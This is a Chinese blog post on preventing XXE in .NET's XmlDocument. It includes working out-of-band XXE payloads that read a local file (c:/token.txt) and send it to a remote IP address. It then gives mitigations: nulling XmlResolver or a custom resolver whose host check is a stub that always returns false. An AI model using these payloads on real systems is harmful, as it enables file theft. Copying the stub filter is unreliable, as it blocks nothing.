zoukankan      html  css  js  c++  java
  • XmlDocument 避免XXE

    string xml2 = "<?xml version="1.0" encoding="UTF-8" standalone="no" ?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://182.84.222.228:89/eval.xml">%remote;]></root>";

    XmlDocument xmlDoc = new XmlDocument();
    //xmlDoc.XmlResolver = null;
    xmlDoc.LoadXml(xml);

    Console.WriteLine(xmlDoc.InnerText);

    上面代码发起请求,服务器上用下面这个代码

    <!ENTITY % payload "1111"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://182.84.222.228:89/Get.aspx?p=%payload;'>">%int;%trick;

    会发现服务器接收到了请求。参数名是 p ,内容是 1111

    如果把前面一个实体类改为读取系统文件的,危害就比较大了,比如(我只是随便读取一个盘符的文件):

    <!ENTITY % payload SYSTEM "file://c:/token.txt"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://182.84.222.228:89/Get.aspx?p=%payload;'>">%int;%trick;

    ==========================

    使用 XmlDocument.XmlResolver 属性提供的XmlResolver 解决外部资源。 如果你的XML文档不包含任何外部资源( 例如dtd或者模式),只需将这里属性设置为 null:

    XmlDocument xmlDoc = new XmlDocument();
    xmlDoc.XmlResolver = null;
    xmlDoc.LoadXml(OurOutputXMLString);

    如果希望过滤来自( 。例如仅允许某些域)的url,只需从 XmlUrlResolver 派生自己的类并重写 ResolveUri() 方法。 你可以在那里检查URL是什么,并消毒它。

    例如:

    class CustomUrlResovler : XmlUrlResolver
    {
     public override Uri ResolveUri(Uri baseUri, string relativeUri)
     {
     Uri uri = new Uri(baseUri, relativeUri);
     if (IsUnsafeHost(uri.Host))
     return null;
     return base.ResolveUri(baseUri, relativeUri);
     }
     private bool IsUnsafeHost(string host)
     {
     return false; 
     }
    }

    其中 IsUnsafeHost() 是一个自定义函数,它检查给定的主机是否允许或者不被允许。 看到这篇文章对于一些想法。 只是从 ResolveUri()保存返回 null 代码从这种攻击。 如果允许 URI,你可以简单地返回默认的XmlUrlResolver.ResolveUri() 实现。

    要使用它:

    XmlDocument xmlDoc = new XmlDocument();
    xmlDoc.XmlResolver = new CustomUrlResolver();
    xmlDoc.LoadXml(OurOutputXMLString);

    关于如何解析XML外部资源的更多细节,请阅读本文 。

  • 相关阅读:
    实用 .htaccess 用法大全
    研究生生活半年的一些总结
    The JRE could not be found. Edit the server and change the JRE location.
    FastCGI Error Number: 5 (0x80070005).
    如何修改discuz论坛的图像地址
    用JavaScript获取页面上被选中的文字的技巧
    JS一些实用的方法
    PHP下载网页
    PHP is much better than you think
    Javascript_06_表单验证(离开单项,输入框后提示信息)
  • 原文地址:https://www.cnblogs.com/Jerseyblog/p/9334350.html
Copyright © 2011-2022 走看看